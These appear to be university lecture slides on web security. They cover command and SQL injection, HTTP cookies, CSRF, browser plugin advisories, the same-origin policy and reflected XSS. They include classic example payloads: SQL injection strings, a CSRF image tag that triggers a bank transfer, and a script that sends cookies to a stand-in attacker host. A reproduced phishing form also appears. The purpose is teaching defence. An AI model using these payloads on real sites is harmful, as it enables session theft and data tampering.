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Announcements

• See “Still confused about question 4 submission format” thread in Piazza (@116)

• Guest lecture a week from Thursday (March 3rd), Prof. David Wagner
  – My office hours the week of March 7th will be by appointment

• I may move my office hours next Monday to 1-2PM - if so, will announce on Piazza
  – Let me know if this would be a hardship
Defending Against Command Injection

• In principle, can prevent injection attacks by properly **sanitize**ng input sent to web servers
  – Remove or escape meta-characters
  – Easy to get wrong by overlooking a meta-character or escaping subtly

• Better: avoid using a feature-rich API
  – KISS + defensive programming
  – E.g., use `execve()` to invoke a desired program, rather than `system()`
Command Injection in the Real World

Hundreds of Thousands of Microsoft Web Servers Hacked

Hundreds of thousands of Web sites - including several at the United Nations and in the U.K. government -- have been hacked recently and seeded with code that tries to exploit security flaws in Microsoft Windows to install malicious software on visitors' machines.
Command Injection in the Real World

From the looks of it, however, one outlet suspects an SQL injection, in which the Web site. Markovich also questioned whether they have noticed the hack for six months, a
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UC Berkeley computers hacked, 160,000 at risk

by Michelle Meyers

0 tweet  Share

This post was updated at 2:16 p.m. PDT with comment from an outside database security software vendor.

Hackers broke into the University of California at Berkeley’s health services center computer and potentially stole the personal information of more than 160,000 students, alumni, and others, the university announced Friday.

At particular risk of identity theft are some 97,000 individuals whose Social Security numbers were accessed in the breach, but it’s still unclear whether hackers were able to match up those SSNs with individual names, Shelton Waqqener, UCB’s chief technology officer, said in a press conference Friday afternoon.
‘Operation Payback’ Attacks Fell Visa.com

By ROBERT MACKEY

TARGET: WWW.VISA.COM :: FIRE FIRE FIRE!!! WEAPONS http://bit.ly/e6iR3X :: SET YOUR LOIC TO irc.anonops.net :: #DDOS #PAYBACK #WIKILEAKS

11 minutes ago via web
Retweeted by 100+ people

© 2010 Twitter About Us Contact Blog Status Resources API Business Help Jobs Terms Privacy

Operation: Payback Operation:

A message posted on Twitter by a group of Internet activists announcing the start of an attack on Visa’s Web site, in retaliation for the company’s actions against WikiLeaks.

Last Updated | 6:54 p.m. A group of Internet activists took credit for crashing the Visa.com Web site on Wednesday afternoon, hours after they launched a similar attack on MasterCard. The cyber attacks, by activists who call themselves Anonymous, are aimed at punishing companies that have acted to stop the flow of donations to WikiLeaks in recent days.

The group explained that its distributed denial of service attacks — in which they essentially flood Web sites site with traffic to slow them down or knock them offline — were part of a broader effort called Operation Payback, which
Anonymous speaks: the inside story of the HBGary hack

By Peter Bright | Last updated a day ago

The hbgaryfederal.com CMS was susceptible to a kind of attack called SQL injection. In common with other CMSes, the hbgaryfederal.com CMS stores its data in an SQL database, retrieving data from that database with suitable queries. Some queries are fixed—an integral part of the CMS application itself. Others, however, need parameters. For example, a query to retrieve an article from the CMS will generally need a parameter corresponding to the article ID number. These parameters are, in turn, generally passed from the Web frontend to the CMS.

It has been an embarrassing week for security firm HBGary and its HBGary Federal offshoot. HBGary Federal CEO Aaron Barr thought he had unmasked the hacker hordes of Anonymous and was preparing to name and shame those responsible for co-ordinating the group's actions, including the denial-of-service attacks that hit MasterCard, Visa, and other perceived enemies of WikiLeaks late last year.

When Barr told one of those he believed to be an Anonymous ringleader about his forthcoming exposé, the Anonymous response was swift and humiliating. HBGary's servers were broken into, its e-mails pillaged and published to the world, its data destroyed, and its website defaced. As an added bonus, a second site owned
Structure of Modern Web Services
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Structure of Modern Web Services
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[Diagram showing the structure of modern web services with browser, web server, database server, and custom data connections]
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SQL

• Widely used database query language
• Fetch a set of records
  
  SELECT * FROM Person WHERE Username='oski'

• Add data to the table
  
  INSERT INTO Person (Username, Balance)
  VALUES ('oski', 10) -- oski has ten buckaroos

• Modify data
  
  UPDATE Person SET Balance=42 WHERE Username='oski'

• Query syntax (mostly) independent of vendor

An SQL comment
SQL Injection Scenario

• Suppose web server front end stores URL parameter “recipient” in variable $recipient and then builds up a string with the following SQL query:

```
$sql = "SELECT PersonID FROM Person
       WHERE Balance < 100 AND Username='\$recipient' ";
```

• Query accesses recipient’s account if their balance is < 100.
SQL Injection Scenario

• Suppose web server front end stores URL parameter “recipient” in variable $recipient and then builds up a string with the following SQL query:

```sql
$sql = "SELECT PersonID FROM Person
       WHERE Balance < 100 AND
       Username='$recipient' ";
```

• So for “?recipient=Bob” the SQL query is:

```sql
"SELECT PersonID FROM Person
       WHERE Balance < 100 AND
       Username='Bob' "
```
SQL Injection Scenario

• Suppose web server front end stores URL parameter “recipient” in variable $recipient and then builds up a string with the following SQL query:

```
$sql = "SELECT PersonID FROM Person WHERE Balance < 100 AND Username='$recipient' ";
```

• How can recipient cause trouble here?
  – How can we see anyone’s account?
SQL Injection Scenario, con’t

WHERE Balance < 100 AND Username='\$recipient' "

• $recipient = foo' OR 1=1 --

  WHERE Balance < 100 AND Username='foo' OR 1=1 --' "

• Precedence & “--” (comment) makes this:
  WHERE (Balance < 100 AND Username='foo') OR 1=1

• Always true!
SQL Injection Scenario, con’t

WHERE Balance < 100 AND Username='$recipient' ";

• How about recipient = 'foo'; DROP TABLE Person; -- ?

• Now there are two separate SQL commands, thanks to ‘;’ command-separator.

• Can change database however you wish
Defenses

Language support for constructing queries
Specify query structure independent of user input:
Defenses

Language support for constructing queries
Specify query structure independent of user input:

```java
ResultSet getProfile(Connection conn, int uid) throws SQLException {
    String query = "SELECT profile FROM Users WHERE uid = ?;";
    PreparedStatement p = conn.prepareStatement(query);
    p.setInt(1, uid);
    return p.executeQuery();
}
```

“Prepared Statement”
Defenses

Language support for constructing queries
Specify query structure independent of user input:

```java
ResultSet getProfile(Connection conn, int uid) throws SQLException {
    String query = "SELECT profile FROM Users WHERE uid = ?;";
    PreparedStatement p = conn.prepareStatement(query);
    p.setInt(1, uid);
    return p.executeQuery();
}
```
Defenses

Language support for constructing queries
Specify query structure independent of user input:

```java
ResultSet getProfile(Connection conn, int uid) throws SQLException {
    String query = "SELECT profile FROM Users WHERE uid = ?;";
    PreparedStatement p = conn.prepareStatement(query);
    p.setInt(1, uid);
    return p.executeQuery();
}
```

Input is confined to a single SQL atom
Defenses

Language support for constructing queries
Specify query structure independent of user input:

```java
ResultSet getProfile(Connection conn, int uid) throws SQLException {
    String query = "SELECT profile FROM Users WHERE uid = ?;";
    PreparedStatement p = conn.prepareStatement(query);
    p.setInt(1, uid);  // Binds the value of uid to '?' atom
    return p.executeQuery();
}
```
Defenses

Language support for constructing queries
Specify query structure independent of user input:

```java
ResultSet getProfile(Connection conn, int uid) throws SQLException {
    String query = "SELECT profile FROM Users WHERE uid = ?;";
    PreparedStatement p = conn.prepareStatement(query);
    p.setInt(1, uid);
    return p.executeQuery();
}
```

No matter what input user provides, Prepared Statement ensures it will be treated as a single SQL datum
Defenses

Language support for constructing queries
Specify query structure independent of user input:

```java
ResultSet getProfile(Connection conn, int uid) throws SQLException {
    String query = "SELECT profile FROM Users WHERE uid = ?;";
    PreparedStatement p = conn.prepareStatement(query);
    p.setInt(1, uid);
    return p.executeQuery();
}

<P>Hello ${username}! Welcome back.
```
Defenses

Language support for constructing queries
Specify query structure independent of user input:

```java
ResultSet getProfile(Connection conn, int uid) throws SQLException {
    String query = "SELECT profile FROM Users WHERE uid = ?;";
    PreparedStatement p = conn.prepareStatement(query);
    p.setInt(1, uid);
    return p.executeQuery();
}
```

Template language ensures variable fully escaped

```html
<P>Hello ${username}! Welcome back.
```
5 Minute Break

Questions Before We Proceed?
Basic Structure of Web Traffic
Basic Structure of Web Traffic

- Includes "resource" from URL
- Headers describing browser capabilities
- Associated data for POST

Browser → HTTP Request → Web Server

Server
Basic Structure of Web Traffic

HTTP Request

Includes “resource” from URL
Headers describing browser capabilities
Associated data for POST
HTTP Request

Method  Resource  HTTP version  Headers

GET  /login.html?user=alice&pass=bigsecret  HTTP/1.1
Accept: image/gif, image/x-bitmap, image/jpeg, */*
Accept-Language: en
Connection: Keep-Alive
User-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)
Host: mybank.com
Referer: http://www.google.com?q=mybank%20berkeley

Data (if POST; none for GET)

GET:  download data.  POST:  upload data.
Basic Structure of Web Traffic

Includes status code
Headers describing the answer
Data for returned item
HTTP/1.0 200 OK
Date: Sat, 19 Feb 2011 02:20:42 GMT
Server: Microsoft-Internet-Information-Server/5.0
Connection: keep-alive
Content-Type: text/html
Last-Modified: Fri, 18 Feb 2011 17:39:05 GMT
Content-Length: 2543

<HTML> Some data... blah, blah, blah </HTML>
HTTP Cookies

Servers can include "cookies" in their replies: state that clients store and return on any subsequent queries to the same server/domain.

Includes status code
Headers describing answer, incl. cookies
Data for returned item
HTTP Response

HTTP version  Status code  Reason phrase
HTTP/1.0  200 OK

Date: Sun, 19 Apr 2009 02:20:42 GMT
Server: Microsoft-Internet-Information-Server/5.0
Connection: keep-alive
Content-Type: text/html
Last-Modified: Sat, 18 Apr 2009 17:39:05 GMT
Set-Cookie: session=44ebc991; path=/servlets
Content-Length: 2543

<HTML> Some data... blah, blah, blah </HTML>

Cookies

Can include a session identifier that tracks a user once they have authenticated.
Cookies & Follow-On Requests

HTTP Request

Includes “resource” from URL
Headers describing browser capabilities, including cookies
Associated data for POST
HTTP Request

GET /moneyxfer.cgi?account=alice&amt=50&to=bob HTTP/1.1
Accept: image/gif, image/x-bitmap, image/jpeg, */*
Accept-Language: en
Connection: Keep-Alive
User-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)
Host: mybank.com
Cookie: session=44ebc991; path=/servlets
Referer: http://mybank.com/login.html?user=alice&pass...

GET: download data. POST: upload data.
Web Browser Threats

• What can happen?
  – Compromise
    • Inject code / install malware
  – Theft
    • Of authentication
    • Of private/sensitive information
  – Manipulation
    • Fool a user about what they’re seeing
    • Take actions user doesn’t intend (theft of volition)

• And what makes the problem particularly tricky?
  – Users are hugely reliant upon browsing
Simple Static HTML Content

<HTML>
  <HEAD>
    <TITLE>Test Page</TITLE>
  </HEAD>
  <BODY>
    <H1>Test Page</H1>
    <P>This is a test!</P>
  </BODY>
</HTML>
Please fill in the correct information for the following category to verify your identity.

### Security Measures

<table>
<thead>
<tr>
<th>Field</th>
<th>Input</th>
</tr>
</thead>
<tbody>
<tr>
<td>Email address:</td>
<td></td>
</tr>
<tr>
<td>PayPal Password:</td>
<td></td>
</tr>
<tr>
<td>Full Name:</td>
<td></td>
</tr>
<tr>
<td>SSN:</td>
<td></td>
</tr>
<tr>
<td>Card Type:</td>
<td></td>
</tr>
<tr>
<td>Card Number:</td>
<td></td>
</tr>
<tr>
<td>Expiration Date:</td>
<td></td>
</tr>
<tr>
<td>Card Verification Number (CVV2):</td>
<td></td>
</tr>
<tr>
<td>Street:</td>
<td></td>
</tr>
<tr>
<td>City:</td>
<td></td>
</tr>
<tr>
<td>Country:</td>
<td></td>
</tr>
<tr>
<td>Zip Code:</td>
<td></td>
</tr>
<tr>
<td>Telephone:</td>
<td></td>
</tr>
<tr>
<td>Verified By Visa / Mastercard Securecode:</td>
<td></td>
</tr>
<tr>
<td>Date of Birth:</td>
<td></td>
</tr>
</tbody>
</table>

Choose a Card Type: [ ] Credit Card [ ] Debit Card

**Expiration Date:** Month / Year

(Ex: mm/yyyy)

Submit Form

---

**Phishing**

Make sure you never provide your password to fraudulent persons.

PayPal automatically encrypts your confidential information using the Secure Sockets Layer protocol (SSL) with an encryption key length of 128-bits (the highest level commercially available).

For more information on protecting yourself from fraud, please review our Security Tips at http://www.paypal.com/securitytips

**Protect Your Password**

You should never give your PayPal password to anyone, including PayPal employees.
Generating Web Accesses

When we visit a web site, they can cause us to fetch any URL they wish.
Web Accesses w/ Side Effects

• Recall our earlier banking URL:
  
  http://mybank.com/moneyxfer.cgi?account=alice&amt=50&to=bob

• So what happens if we visit evilsite.com, which includes:
  
  <img src="http://mybank.com/moneyxfer.cgi?Account=alice&amt=500000&to=DrEvil">

• **Cross-Site Request Forgery (CSRF) attack**
CSRF Defenses

• Defenses?
  – Inspect Referer headers (require it to be from mybank.com)

Referer: http://evilsite.com/testpage.html

  – Or: require authentication (not just session cookie!) for serious requests
  – Or: use distinct URLs (including randomized components) for bank web pages whose forms users should use for serious requests

• Note: only the server can do these!
Dynamic Web Pages

- Rather than static HTML, web pages can be expressed as a **program**, say written in **Javascript**:

```html
<html xmlns="http://www.w3.org/1999/xhtml"
     xml:lang="en" lang="en">
<head> <title>Javascript demo page</title>
</head>

<body>
<script type="text/javascript">
    var a = 1;
    var b = 2;
    document.write(a+b);
</script> </body> </html>
```

**Or what else? Java, Flash, Active-X, PDF ...**
## Description

A memory corruption flaw exists in Firefox. The Just-in-Time (JIT) compiler can enter a corrupt state following native function calls resulting in memory corruption. With a specially crafted request, an attacker can cause arbitrary code execution resulting in a loss of integrity.

## Solution

Upgrade to version 3.5.1 or higher, as it has been reported to fix this vulnerability. It is also possible to correct the flaw by implementing the following workaround: disable JavaScript.

### Classification
- **Location:** Remote / Network Access, Context Dependent
- **Attack Type:** Input Manipulation
- **Impact:** Loss of Integrity
- **Solution:** Workaround, Upgrade
- **Exploit:** Exploit Public, Exploit Commercial
- **Disclosure:** Vendor Verified, Uncoordinated Disclosure, Discovered in the Wild
- **OSVDB:** Web Related
PUBLIC ADVISORY: 02.22.07

VeriSign ConfigChk ActiveX Control Buffer Overflow Vulnerability

I. BACKGROUND

The ConfigChk ActiveX Control is part of VeriSign Inc.'s MPKI, Secure Messaging for Microsoft Exchange and Go Secure! products. It looks for the Microsoft Enhanced Cryptographic Provider in order to support 1024-bit cryptography.

II. DESCRIPTION

Remote exploitation of a buffer overflow vulnerability in VeriSign Inc.'s ConfigChk ActiveX Control could allow an attacker to execute arbitrary code within the security context of the victim.

The ActiveX control in question, identified by CLSID 08F04139-8DFC-11D2-80E9-006008B066EE, is marked as being safe for scripting.

The vulnerability specifically exists when processing lengthy parameters passed to the VerCompare() method. If either of the two parameters passed to this method are longer than 28 bytes, stack memory corruption will occur. This amounts to a trivially exploitable stack-based buffer overflow.

III. ANALYSIS

Successful exploitation of this vulnerability would allow a remote attacker to execute arbitrary code within the context of the victim.

In order to exploit this vulnerability, an attacker would need to persuade the victim into viewing a malicious web site. This is usually accomplished by getting the victim into clicking a link in a form of electronic communication such as email or instant messaging.
CVE-ID
CVE-2006-5559
(under review)

Learn more at National Vulnerability Database (NVD)
- Severity Rating
- Fix Information
- Vulnerable Software Versions
- SCAP Mappings

Description
The Execute method in the ADODB.Connection 2.7 and 2.8 ActiveX control objects (ADODB.Connection.2.7 and ADODB.Connection.2.8) in the Microsoft Data Access Components (MDAC) 2.5 SP3, 2.7 SP1, 2.8, and 2.8 SP1 does not properly track freed memory when the second argument is a BSTR, which allows remote attackers to cause a denial of service (Internet Explorer crash) and possibly execute arbitrary code via certain strings in the second and third arguments.

References
Note: References are provided for the convenience of the reader to help distinguish between vulnerabilities. The list is not intended to be complete.
About the security content of Java for Mac OS X 10.6 Update 2

Java for Mac OS X 10.6 Update 2

- Java

CVE-ID:CVE-2009-1105, CVE-2009-3555, CVE-2009-3910, CVE-2010-0082, CVE-2010-0084, CVE-2010-0085, CVE-2010-0087, CVE-2010-0088, CVE-2010-0089, CVE-2010-0090, CVE-2010-0091, CVE-2010-0092, CVE-2010-0093, CVE-2010-0094, CVE-2010-0095, CVE-2010-0837, CVE-2010-0838, CVE-2010-0840, CVE-2010-0841, CVE-2010-0842, CVE-2010-0843, CVE-2010-0844, CVE-2010-0846, CVE-2010-0847, CVE-2010-0848, CVE-2010-0849, CVE-2010-0886, CVE-2010-0887

Available for: Mac OS X v10.6.3, Mac OS X Server v10.6.3

Impact: Multiple vulnerabilities in Java 1.6.0_17

Description: Multiple vulnerabilities exist in Java 1.6.0_17, the most serious of which may allow an untrusted Java applet to execute arbitrary code outside the Java sandbox. Visiting a web page containing a maliciously crafted untrusted Java applet may lead to arbitrary code execution with the privileges of the current user. These issues are addressed by updating to Java version 1.6.0_20. Further information is available via the Sun Java website at http://java.sun.com/javase/6/webnotes/ReleaseNotes.html
Adobe Macromedia Flash OCX ActiveX movie parameter buffer overflow
flash-activex-movie-bo (8993)

Description:
The ActiveX Macromedia Flash Player plugin is vulnerable to a buffer overflow, caused by improper bounds checking of the movie parameter. By embedding a malicious link to a Flash file with an overly long movie parameter within a Web page, a remote attacker could overflow a buffer and execute arbitrary code on a victim's system, once the victim visits the malicious page.

Consequences:
Gain Access

Remedy:
Upgrade to the latest version of Macromedia Flash Player for Internet Explorer (6.0.29.0 or later), available from the Macromedia Web Player Download Center. See References.
Opera JPEG DHT Marker Buffer Overflow and createSVGTransformFromMatrix Request Validation Flaw Lets Remote Users Execute Arbitrary Code

SecurityTracker Alert ID: 1017473
SecurityTracker URL: http://securitytracker.com/id/1017473
CVE Reference: CVE-2007-0126, CVE-2007-0127 (Links to External Site)
Updated: May 20 2008
Original Entry Date: Jan 5 2007
Impact: Execution of arbitrary code via network, User access via network
Fix Available: Yes Vendor Confirmed: Yes
Version(s): prior to 9.10
Description: Two vulnerabilities were reported in Opera. A remote user can cause arbitrary code to be executed on the target user's system.

A remote user can create a specially crafted JPEG image that, when loaded by the target user, will trigger a heap overflow and execute arbitrary code on the target system. The code will run with the privileges of the target user.

A specially crafted JPEG DHT marker can trigger the flaw.

Christoph Diehl reported this vulnerability to iDefense.

A remote user can create Javascript with a specially crafted createSVGTransformFromMatrix request parameter that, when processed by the target user, will execute arbitrary code on the target system. The code will run with the privileges of the target user.
MS-ISAC ADVISORY NUMBER:
2009-008

DATE(S) ISSUED:
2/20/2009

SUBJECT:
Vulnerability in Adobe Reader and Adobe Acrobat Could Allow Remote Code Execution

OVERVIEW:
A new vulnerability has been discovered in the Adobe Acrobat and Adobe Reader applications that allows attackers to execute arbitrary code on the affected systems. Adobe Reader allows users to view Portable Document Format (PDF) files. Adobe Acrobat offers users additional features such as the ability to create PDF files. Depending on the privileges associated with the user, an attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. Unsuccessful exploitation attempts may cause these programs to crash.

It should be noted that this vulnerability is being actively exploited on the Internet.

----------------
Vulnerability Note VU#593409

Adobe Reader and Acrobat `util.printf()` JavaScript function stack buffer overflow

Overview

Adobe Reader and Acrobat contain a stack buffer overflow in the `util.printf()` JavaScript function, which may allow a remote, unauthenticated attacker to execute arbitrary code on a vulnerable system.

I. Description

Adobe Reader is software designed to view Portable Document Format (PDF) files. Adobe Acrobat is software that can create PDF files. Adobe Reader and Acrobat support JavaScript in PDF documents. According to the Acrobat Forms JavaScript Object Specification, the `util.printf()` function "... will format one or more values as a string according to a format string. This is similar to the C function of the same name."

Adobe Reader and Acrobat fail to sufficiently validate input to the `util.printf()` JavaScript function, which can result in a stack buffer overflow. Exploit code for this vulnerability is publicly available.

II. Impact

By convincing a user to open a specially-crafted PDF file, a remote, unauthenticated attacker may be
DESCRIPTION:
Adobe Reader and Acrobat are prone to a remote code execution vulnerability. The exploit is a two-stage attack. The malware exploits an integer overflow and then uses JavaScript to execute a heap spray to inject shellcode. A heap spray attempts to inject code into the memory of a target process. Testing by Shadowsever has shown that disabling JavaScript in Adobe will defeat the remote code execution but still result in denial of service.

The exploit is being seen in targeted attacks but is expected to become more widespread. Some anti-virus vendors currently detect this exploit. Trend Micro detects it as TROJ_PIDIEF.IN. Symantec detects it as Trojan.Pidief.E.

Adobe expects to make available an update for Adobe Reader 9 and Acrobat 9 by March 11th, 2009. Patches for other versions will be available later.
DESCRIPTION:
Adobe Reader and Acrobat are prone to a remote code execution vulnerability. The exploit is a two-stage attack. The malware exploits an integer overflow and then uses JavaScript to execute a heap spray to inject shellcode. A heap spray attempts to inject code into the memory of a target process. Testing by Shadowsever has shown that disabling JavaScript in Adobe will defeat the remote code execution but still result in denial of service.

The exploit is being seen in targeted attacks but is expected to become more widespread. Some anti-virus vendors currently detect this exploit. Trend Micro detects it as TROJ_PIDIEF.IN. Symantec detects it as Trojan.Pidief.E.

Adobe expects to make available an update for Adobe Reader 9 and Acrobat 9 by March 11th, 2009. Patches for other versions will be available later.

RECOMMENDATIONS:
We recommend the following actions be taken:

- Ensure antivirus software signatures are current.
- Do not open email attachments from unknown or untrusted sources.
- Provide user awareness notification about this vulnerability and exploit.
- Do not visit untrusted websites or follow links provided by unknown or untrusted sources.
- Consider disabling JavaScript in Adobe by navigating to Edit->Preferences and unchecking 'Enable Acrobat JavaScript'.
- Install the appropriate vendor patch as soon as it becomes available after appropriate testing.
Preferences

Categories:
Documents
  - Full Screen
  - General
  - Page Display
  - Accessibility
  - Acrobat.com
  - Forms
  - Identity
  - International
  - Internet
  - JavaScript
    - Measuring (2D)
    - Measuring (3D)
    - Measuring (Geo)
    - Multimedia (legacy)
    - Multimedia Trust (legacy)
  - Reading
  - Search
  - Security
  - Security (Enhanced)
  - Spelling
  - Tracker

JavaScript
- ✓ Enable Acrobat JavaScript!

JavaScript Security
- □ Enable menu items JavaScript execution privileges
- ✓ Enable global object security policy

JavaScript Debugger
- □ Show console on errors and messages

Cancel  OK
Adobe Flash Player is the standard for delivering high-impact, rich Web content. Designs, animation, and application user interfaces are deployed immediately across all browsers and platforms, attracting and engaging users with a rich Web experience.

The table below contains the latest Flash Player version information. Adobe recommends that all Flash Player users upgrade to the most recent version of the player through the Player Download Center to take advantage of security updates.

<table>
<thead>
<tr>
<th>Platform</th>
<th>Browser</th>
<th>Player version</th>
</tr>
</thead>
<tbody>
<tr>
<td>Windows</td>
<td>Internet Explorer (and other browsers that support Internet Explorer ActiveX controls and plug-ins)</td>
<td>10.2.152.26</td>
</tr>
<tr>
<td>Windows</td>
<td>Firefox, Mozilla, Netscape, Opera (and other plugin-based browsers)</td>
<td>10.2.152.26</td>
</tr>
<tr>
<td>Macintosh - OS X</td>
<td>Firefox, Opera, Safari</td>
<td>10.2.152.26</td>
</tr>
<tr>
<td>Linux</td>
<td>Mozilla, Firefox, SeaMonkey</td>
<td>10.2.152.27</td>
</tr>
<tr>
<td>Windows, Linux</td>
<td>Chrome</td>
<td>10.2.154.12</td>
</tr>
<tr>
<td>Macintosh - OS X</td>
<td>Chrome</td>
<td>10.2.154.13</td>
</tr>
<tr>
<td>Solaris</td>
<td>Mozilla</td>
<td>10.2.152.23</td>
</tr>
</tbody>
</table>

Copyright © 1996 - 2011 Adobe Systems Incorporated. All rights reserved.
Subversive Script Execution
Browser Windows Interact
Browser Windows Interact

Script in here ...
Browser Windows Interact

Script in here ...

Needs to access / update state here ...
Browser Windows Interact

How to control just what scripts are allowed to do?
Same Origin Policy

- Every frame in a browser window has a domain
  - Domain = <server, protocol, port> from which the frame content was downloaded
    Server = target.com, protocol = HTTP (maybe HTTPS)

- Code downloaded in a frame can only access resources associated with that domain
  - Access = read and modify values, incl. page contents

- Given this Same Origin Policy (SOP), how can an attacker get a script of their choosing executed in the domain target.com?
  - If they can, then disaster: they can manipulate victim’s interactions with target.com in all sorts of ways
Cross-Site Scripting (XSS)

Victim client
Cross-Site Scripting (XSS)

 Victim client

1 visit web site

Attack Server
Cross-Site Scripting (XSS)

1. visit web site
2. receive malicious page

Victim client

Attack Server
Cross-Site Scripting (XSS)

1. visit web site
2. receive malicious page
3. click on link

Exact URL under attacker’s control

Server Patsy/Victim

Attack Server
Cross-Site Scripting (XSS)

1. visit web site
2. receive malicious page
3. click on link
4. echo user input

Victim client

Server Patsy/Victim

Attack Server
Cross-Site Scripting (XSS)

1. Visit web site
2. Receive malicious page
3. Click on link
4. Echo user input
5. Execute script embedded in input as though server meant us to run it
Cross-Site Scripting (XSS)

1. Visit web site
2. Receive malicious page
3. Click on link
4. Echo user input
5. Execute script embedded in input as though server meant us to run it
6. Perform attacker action

Victim client

Attack Server

Server Patsy/Victim
Cross-Site Scripting (XSS)

1. Visit web site
2. Receive malicious page
3. Click on link
4. Echo user input
5. Execute script embedded in input as though server meant us to run it
6. Send valuable data

And/Or:

Attack Server

Victim client

Server Patsy/Victim
Cross-Site Scripting (XSS)

1. Visit web site
2. Receive malicious page
3. Click on link
4. Echo user input
5. Execute script embedded in input as though server meant us to run it
6. Perform attacker action
7. Send valuable data

("Reflected" XSS attacks)
The Setup

• User input is echoed into HTML response.

• *Example*: search field
  – search.php responds with:

    <HTML>    <TITLE> Search Results </TITLE>    <BODY>      Results for <?php echo $_GET[term] ?> :      . . .    </BODY>   </HTML>

• How can an attacker exploit this?
Injection Via Bad Input

- Consider link: (properly URL encoded)

```
  <script> window.open(
    "http://badguy.com?cookie = " +
    document.cookie ) </script>
```

**What if user clicks on this link?**

1) Browser goes to victim.com/search.php
2) victim.com returns

  `<HTML> Results for <script> ... </script> ...`

3) Browser **executes** script *in same origin* as victim.com
   Sends badguy.com cookie for victim.com
   Or any other **arbitrary execution / rewrite** victim.com page